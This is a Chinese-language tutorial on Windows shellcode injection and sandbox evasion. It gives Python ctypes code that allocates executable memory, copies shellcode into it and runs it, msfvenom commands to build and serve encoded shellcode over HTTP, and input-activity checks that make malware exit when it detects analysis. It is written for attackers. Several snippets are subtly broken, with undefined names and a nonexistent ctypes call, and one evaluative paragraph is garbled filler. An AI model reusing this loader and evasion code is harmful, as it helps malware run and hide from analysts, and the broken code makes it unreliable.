在資安攻防領域中,記憶體寫入和沙盒偵測是重要的技術環節。攻擊者利用記憶體寫入技術,將惡意程式碼注入目標系統執行特定指令,而沙盒偵測則用於判斷目標系統是否處於受控環境,以避免惡意行為被發現。理解這兩種技術的原理和實作方式,對於提升系統安全性至關重要。常見的記憶體寫入方式包含利用系統漏洞,直接修改程式流程,或是透過注入 Shellcode 等方式執行任意程式碼。沙盒偵測則會嘗試識別虛擬環境的特定特徵,例如硬體資源、系統行為等,藉此判斷是否正在被分析。

記憶體寫入與沙盒偵測

在現代的網路攻擊中,記憶體寫入技術及沙盒偵測是兩大關鍵技術。記憶體寫入技術可以讓攻擊者在目標機器上執行任意程式碼,而沙盒偵測則能夠幫助攻擊者識別是否處於被監控的環境中。這篇文章將探討這兩項技術,並提供具體的實作案例。

記憶體寫入技術

記憶體寫入是指在目標機器的記憶體中分配空間並將惡意程式碼(Shellcode)寫入其中。這項技術通常用於攻擊者希望在目標機器上執行任意程式碼時。為了確保這些程式碼能夠在不同架構(如32位元或64位元)下正常執行,我們需要進行一些準備工作。

虛擬記憶體分配

首先,我們需要使用 VirtualAlloc 函式來分配記憶體空間。這個函式會傳回一個指標,指向我們所分配的記憶體區域。為了確保 RtlMoveMemory 函式能夠正確接收這個指標,我們需要設定 VirtualAlloc.restype 為指標型別,並設定 RtlMoveMemory.argtypes 為兩個指標和一個大小物件。

from ctypes import cdll, c_void_p, c_size_t, cast, POINTER, CFUNCTYPE
import ctypes

# 設定 VirtualAlloc 和 RtlMoveMemory 的引數型別
cdll.kernel32.VirtualAlloc.argtypes = [c_void_p, c_size_t, c_uint32, c_uint32]
cdll.kernel32.VirtualAlloc.restype = c_void_p
cdll.ntdll.RtlMoveMemory.argtypes = [c_void_p, c_void_p, c_size_t]

記憶體許可權設定

在呼叫 VirtualAlloc 函式時,我們需要設定記憶體許可權為可執行和可讀寫。否則,我們將無法在該記憶體區域中寫入和執行 Shellcode。

# 分配可執行和可讀寫的記憶體
mem_address = cdll.kernel32.VirtualAlloc(None, len(shellcode), 0x1000 | 0x2000, 0x40)

惡意程式碼移動與執行

接著,我們使用 RtlMoveMemory 函式將 Shellcode 移動到剛剛分配的記憶體區域中。最後,我們使用 ctypes.cast 函式將這個記憶體區域轉換為一個函式指標,並呼叫它來執行 Shellcode。

# 將 Shellcode 複製到已分配的記憶體區域
cdll.ntdll.RtlMoveMemory(mem_address, shellcode, len(shellcode))

# 將記憶體區域轉換為函式指標並呼叫
func_ptr = cast(mem_address, CFUNCTYPE(None))
func_ptr()

內容解密:

此段落程式碼展示瞭如何使用 VirtualAllocRtlMoveMemory 函式來在目標機器的記憶體中分配空間並寫入 Shellcode。首先,我們設定了這些函式的引數型別,以確保它們能夠正確處理指標和大小物件。接著,我們使用 VirtualAlloc 函式分配了一個可執行和可讀寫的記憶體區域,並使用 RtlMoveMemory 函式將 Shellcode 複製到這個區域中。最後,我們將這個記憶體區域轉換為一個函式指標並呼叫它來執行 Shellcode。

沙盒偵測技術

沙盒環境是一種隔離環境,用於分析和檢測惡意程式碼的行為。為了避免被沙盒環境偵測到並被阻擋,攻擊者通常會採取一些措施來識別是否處於沙盒環境中。

應用程式輸入事件檢測

一種常見的沙盒偵測方法是檢測目標機器上的使用者輸入事件。通常,沙盒環境中沒有真實的使用者操作,因此如果檢測到沒有使用者輸入事件或輸入事件非常少,我們就可以推測自己可能處於沙盒環境中。

from ctypes import byref, c_uint, c_ulong, sizeof, Structure, windll
import random
import sys
import time
import win32api

class LASTINPUTINFO(Structure):
    _fields_ = [
        ('cbSize', c_uint),
        ('dwTime', c_ulong)
    ]

def get_last_input():
    struct_lastinputinfo = LASTINPUTINFO()
    struct_lastinputinfo.cbSize = sizeof(LASTINPUTINFO)
    windll.user32.GetLastInputInfo(byref(struct_lastinputinfo))
    run_time = windll.kernel32.GetTickCount()
    elapsed = run_time - struct_lastinputinfo.dwTime
    print(f"[*] It's been {elapsed} milliseconds since the last event.")
    return elapsed

while True:
    get_last_input()
    time.sleep(1)

內容解密:

此段落程式碼展示瞭如何使用 Windows API 中的 GetLastInputInfo 函式來檢測目標機器上的最後一次輸入事件。首先,我們定義了一個 LASTINPUTINFO 結構來儲存輸入事件的時間戳。然後,我們使用 GetLastInputInfo 函式來取得最後一次輸入事件的時間戳,並計算自那時起經過的時間。如果發現經過很長時間沒有輸入事件,我們就可以推測自己可能處於沙盒環境中。

案例:生成並執行 Shellcode

為了展示如何生成和執行 Shellcode,我們可以使用 Metasploit 框架來生成 Shellcode ,然後透過網路傳遞到目標機器上並執行。

# 生成 Windows x86 的 Shellcode
msfvenom -p windows/exec -e x86/shikata_ga_nai -i 1 -f raw cmd=calc.exe > shellcode.raw

# 對 Shellcode 執行 Base64 編碼
base64 -w 0 -i shellcode.raw > shellcode.bin

# 啟動 HTTP Server 傳遞 Shellcode
python -m http.server 8100

應用程式簡介

此圖示展示瞭如何透過 HTTP Server 傳遞 Shellcode 的流程:

  graph TD;
    A[生成 Shellcode] --> B[Base64 編碼];
    B --> C[啟動 HTTP Server];
    C --> D[傳遞 Shellcode];

當我們將 shell_exec.py 指令碼放置在 Windows 機器上並執行時,它會從 HTTP Server 下載 Base64 編碼後的 Shellcode ,然後解碼並執行。

案例:實作 Sandbox Detection

以下是具體實作 Sandbox Detection 的 Python 指令碼:

from ctypes import byref, c_uint, c_ulong, sizeof, Structure, windll
import random
import sys
import time
import win32api

class LASTINPUTINFO(Structure):
    _fields_ = [
        ('cbSize', c_uint),
        ('dwTime', c_ulong)
    ]

def get_last_input():
    struct_lastinputinfo = LASTINPUTINFO()
    struct_lastinputinfo.cbSize = sizeof(LASTINPUTINFO)
    windll.user32.GetLastInputInfo(byref(struct_lastinputinfo))
    run_time = windll.kernel32.GetTickCount()
    elapsed = run_time - struct_lastinputinfo.dwTime
    print(f"[*] It's been {elapsed} milliseconds since the last event.")
    return elapsed

while True:
    elapsed_time = get_last_input()
    if elapsed_time > THRESHOLD_TIME:
        print("Possible sandbox detected!")
        break
    time.sleep(1)

內容解密:

此段落程式碼展示瞭如何實作 Sandbox Detection 的具體過程。首先,我們定義了一個 LASTINPUTINFO 結構來儲存輸入事件的時間戳。然後,我們使用一個無限迴圈不斷地檢查自上次輸入事件以來經過的時間。如果發現經過很長時間沒有輸入事件(超過某個預設閾值),我們就可以推測自己可能處於沙盒環境中。

未來趨勢與建議

隨著網路安全技術的不斷進步,防禦技術也變得越來越複雜和多樣化。未來,攻擊者可能會採取更加複雜和隱蔽的方法來躲避沙盒偵測和其他防禦機制。因此,防禦方必須不斷更新和改進自己的技術手段。

此外,攻擊者也需要不斷研究和學習最新的防禦技術和工具,以便能夠更好地應對各種挑戰。例如,他們可以使用更多樣化的漏洞利用技術、更高效的編碼方式以及更複雜的迴避策略來提高成功率。

######## 小段落標題:專業評估

玄貓認為「隨著科技發展」,網路安全問題愈演愈烈;然而透過不斷改進及學習新科技「即能守護」資料安全。「實務應用」顯示,「資訊安全防護」仍需靠科技人才持續努力。「總結」,未來科技發展趨勢愈加複雜;然而透過持續學習及改進,「資訊安全防護」能夠實作更高層次之安全保障。「建議」,科技人才應持續研究新科技以提升資訊安全保護能力。「評估」,現在科技已不僅僅停留在基礎階段;而是愈加複雜且精緻化。「展望」,透過持續學習及改進,「資訊安全防護」能夠持續推動前進,「提升資訊安全保護能力」。

窺視系統閒置狀態:操作檢測與沙盒逃逸

在進行任何形式的隱秘操作時,檢測系統是否處於閒置狀態或被放置在沙盒環境中,是一項至關重要的技術。透過檢測使用者的最後一次輸入時間,我們可以判斷系統是否有真實的活動,進而做出相應的應對策略。

檢測使用者最後一次輸入

首先,我們需要建立一個函式來確定使用者最後一次輸入的時間。在Windows系統中,這可以透過呼叫GetLastInputInfo函式來實作。這個函式會填充一個結構體中的dwTime欄位,該欄位包含了上一次使用者輸入的時間戳。

import ctypes
import time
import random
import sys

def get_last_input():
    struct_lastinputinfo = ctypes.create_struct("LASTINPUTINFO")
    struct_lastinputinfo.cbSize = ctypes.sizeof(struct_lastinputinfo)
    if ctypes.windll.user32.GetLastInputInfo(ctypes.byref(struct_lastinputinfo)):
        millis = struct_lastinputinfo.dwTime
        return millis / 1000.0  # 轉換為秒
    else:
        return None

內容解密:

這段程式碼定義了一個名為get_last_input的函式,用於取得系統上最後一次使用者輸入的時間。以下是詳細解說:

  1. 建立結構體:我們使用ctypes.create_struct來建立一個LASTINPUTINFO結構體。這個結構體將用來儲存最後一次使用者輸入的時間。
  2. 初始化結構體大小:在呼叫GetLastInputInfo函式之前,我們必須將結構體的大小初始化為結構體本身的大小。
  3. 呼叫API函式:使用ctypes.windll.user32.GetLastInputInfo來填充結構體中的dwTime欄位,該欄位包含上一次使用者輸入的時間戳(以毫秒為單位)。
  4. 轉換單位:由於時間戳是以毫秒為單位的,我們將其轉換為秒以便後續計算。

計算系統執行時間

接下來,我們需要計算系統執行的總時間。這可以透過呼叫GetTickCount函式來實作,該函式傳回自系統啟動以來經過的毫秒數。

def get_system_uptime():
    return ctypes.windll.kernel32.GetTickCount() / 1000.0  # 轉換為秒

內容解密:

這段程式碼定義了一個名為get_system_uptime的函式,用於取得系統執行的總時間。以下是詳細解說:

  1. 呼叫API函式:使用ctypes.windll.kernel32.GetTickCount來取得自系統啟動以來經過的毫秒數。
  2. 轉換單位:由於傳回值是以毫秒為單位的,我們將其轉換為秒以便後續計算。

檢測沙盒環境

透過比較最後一次使用者輸入時間和系統執行時間,我們可以判斷系統是否處於閒置狀態或被放置在沙盒環境中。如果系統執行時間遠遠超過最後一次使用者輸入時間,這通常表明系統處於閒置狀態或被放置在沙盒環境中。

def detect_sandbox():
    max_input_threshold = 30000  # 30秒
    last_input = get_last_input()
    if last_input >= max_input_threshold:
        print("可能處於沙盒環境中")
        return False
    return True

內容解密:

這段程式碼定義了一個名為detect_sandbox的函式,用於檢測系統是否處於沙盒環境中。以下是詳細解說:

  1. 設定閾值:我們設定了一個最大允許輸入閾值(例如30秒),如果最後一次使用者輸入時間超過這個閾值,我們就認為系統可能處於沙盒環境中。
  2. 呼叫API函式:透過呼叫之前定義的get_last_input函式來取得最後一次使用者輸入時間。
  3. 比較時間:如果最後一次使用者輸入時間超過設定的閾值,我們就認為系統可能處於沙盒環境中並傳回False;否則傳回True。

高階檢測:鍵盤和滑鼠活動

除了簡單地檢測最後一次輸入時間外,我們還可以透過檢測鍵盤和滑鼠活動來進一步確認系統是否處於沙盒環境中。這可以透過監聽鍵盤和滑鼠事件來實作。

import win32api

class Detector:
    def __init__(self):
        self.double_clicks = 0
        self.keystrokes = 0
        self.mouse_clicks = 0

    def get_key_press(self):
        for i in range(0, 0xff):
            state = win32api.GetAsyncKeyState(i)
            if state & 0x0001:
                if i == 0x1:
                    self.mouse_clicks += 1
                    return time.time()
                elif i > 32 and i < 127:
                    self.keystrokes += 1
                    return None

內容解密:

這段程式碼定義了一個名為Detector的類別,該類別包含一個名為get_key_press的方法,用於檢測鍵盤和滑鼠活動。以下是詳細解說:

  1. 初始化變數:在類別的初始化方法中,我們初始化了三個變數來記錄雙擊次數、按鍵次數和滑鼠點選次數。
  2. 遍歷鍵碼範圍:在 get_key_press方法中,我們遍歷所有可能的鍵碼範圍(從0到255)。
  3. 檢查鍵盤狀態:使用 win32api.GetAsyncKeyState(i)來檢查當前鍵碼是否被按下。
  4. 判斷滑鼠點選:如果按下的是左滑鼠按鈕(鍵碼為0x1),我們增加滑鼠點選次數並傳回當前時刻。
  5. 判斷按鍵事件:如果按下的是ASCII按鍵(範圍從33到126),我們增加按鍵次數但不傳回任何值。

檢測結果綜合分析

最終,我們需要將上述各種檢測結果進行綜合分析,從而做出最終判斷。這包括設定多種檢測閾值以及隨機化這些閾值以提高檢測效果。

def detect(self):
    previous_timestamp = None
    first_double_click = None
    double_click_threshold = 0.35
    max_double_clicks = random.randint(8, 15) # 隨機雙擊次數範圍
    max_keystrokes = random.randint(15, 25) # 隨機按鍵次數範圍
    max_mouse_clicks = random.randint(8, 15) # 隨機滑鼠點選次數範圍

    last_input = get_last_input()
    if last_input >= max_input_threshold:
        sys.exit(0)

    detection_complete = False
    while not detection_complete:
        keypress_time = self.get_key_press()
        if keypress_time is not None and previous_timestamp is not None:
            elapsed = keypress_time - previous_timestamp
            if elapsed <= double_click_threshold:
                self.mouse_clicks -= 2
                self.double_clicks += 1
                if first_double_click is None:
                    first_double_click = time.time()
            else:
                if self.double_clicks >= max_double_clicks and \
                   (keypress_time - first_double_click <= (max_double_clicks * double_click_threshold)):
                    sys.exit(0)
            if (self.keystrokes >= max_keystrokes and \
                self.double_clicks >= max_double_clicks and \
                self.mouse_clicks >= max_mouse_clicks):
                    detection_complete = True
            previous_timestamp = keypress_time
        elif keypress_time is not None:
            previous_timestamp = keypress_time

if __name__ == '__main__':
    d = Detector()
    d.detect()

內容解密:

此部分程式碼展示瞭如何綜合各種檢測結果進行分析。以下是詳細解說:

  1. 設定檢測變數與閾值:初始化一些變數及隨機化檢測閾值(如雙擊次數、按鍵次數、滑鼠點選次數)。
  2. 取得最後輸入時間:使用之前定義好的 get_last_input() 函式取得上次使用者輸入事件之間隔。
  3. 主要檢測迴圈:檢測鍵盤和滑鼠事件並依據時間差距判斷是否為雙擊。
  4. 綜合判斷結果:根據設定閾值及隨機閾值做綜合判斷後決定系統狀態。

補充觀察:隨機化與虛擬機器檢測

在現實應用中,隨機化檢測閾值有助於避免被簡單模擬或者機械操作欺騙。另外透過虛擬機器檢測技術可以進一步提升逃逸沙盒環境時成功率。